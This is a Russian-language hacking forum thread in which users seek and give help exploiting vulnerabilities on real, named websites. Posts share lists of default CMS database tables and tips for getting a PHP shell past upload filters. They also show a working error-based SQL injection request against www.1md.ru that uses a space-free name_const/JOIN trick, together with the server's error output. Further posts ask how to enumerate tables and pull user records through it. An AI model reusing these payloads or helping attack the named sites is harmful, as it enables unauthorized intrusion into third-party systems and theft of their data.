Вопросы по уязвимостям

[Untitled]

Сообщение от NameSpace

Обращайся методом POST.

Да те же самые ошибки.

[Flakt]

Дайте свежий линк на дефолтные колонки CMS и форумов, старый не работает

http://itdefence.ru/dbitems/

[beastie]

Flakt
https://rdot.org/forum/showthread.php?t=2281

PHP код:

SQL databases Структура бд распространенных двигов.
http://uasc.org.ua/files/dbitems/ | http://lolwut.me/dbitems/ 


artrix
Вопрос немного не понятен, уверены, что это инклуд а не читалка? Возможно ф-ия system отключена в php.ini

[aspi]

Сообщение от Untitled

Да те же самые ошибки.

попробуй перл(питон) скрипт, php как jpg загрузить, либо поменять регистр расширения php файлов.

[Untitled]

Да да, все это уже пробовал вначале. Тоже самое - либо 500, либо 404.

[netcat]

Здравствуйте, не могу раскрутить одну SQL:
http://www.albummusic.net/rus/clips'/
Вывести информацию в ошибку у меня получилось лишь одним методом, через name_const, но он не пригоден для взлома, а другими методами к сожалению не получилось, думаю у вас получится, и надеюсь на помощь, заранее спасибо.

[netcat]

Ещё одна SQL:
http://www.1md.ru/catalog/list/250'/
Тоже самое, вывод удаётся получить только через name_const который непригоден для взлома.
А составить запрос через floor rand без использования пробелов у меня так и не получилось, в данном случае урленкодируется комбинация /**/, а без неё вроде как нельзя через floor rand крутить, или я просто не могу запрос составить.
Буду очень благодарен за помощь.

[cat1vo]

Сообщение от netcat

Ещё одна SQL:
http://www.1md.ru/catalog/list/250'/
Тоже самое, вывод удаётся получить только через name_const который непригоден для взлома.
А составить запрос через floor rand без использования пробелов у меня так и не получилось, в данном случае урленкодируется комбинация /**/, а без неё вроде как нельзя через floor rand крутить, или я просто не могу запрос составить.
Буду очень благодарен за помощь.

Добрые люди давно нашли решение:
name_const без пробелов

[Flakt]

Сообщение от cat1vo

Добрые люди давно нашли решение:
name_const без пробелов

Работает, только не пойму как сейчас таблицы через limit перебирать?

GET /catalog/list/2501'and(1)=(select*from(select*from(information_s chema.tables`a`)JOIN(information_schema.tables`b`) using(TABLE_CATALOG,TABLE_SCHEMA))c)='1 HTTP/1.1
Host: www.1md.ru




Duplicate column name 'TABLE_NAME'

[netcat]

Сообщение от Flakt

Работает, только не пойму как сейчас таблицы через limit перебирать?

GET /catalog/list/2501'and(1)=(select*from(select*from(information_s chema.tables`a`)JOIN(information_schema.tables`b`) using(TABLE_CATALOG,TABLE_SCHEMA))c)='1 HTTP/1.1
Host: www.1md.ru

Duplicate column name 'TABLE_NAME'

Тоже интересует данный вопрос, примеров раскрутки через данную конструкцию не могу найти ;(
Как выполнить простейший запрос с условием:
select user from table where id=1
Знаний немножко не хватает, чтобы впихнуть его в данную конструкцию.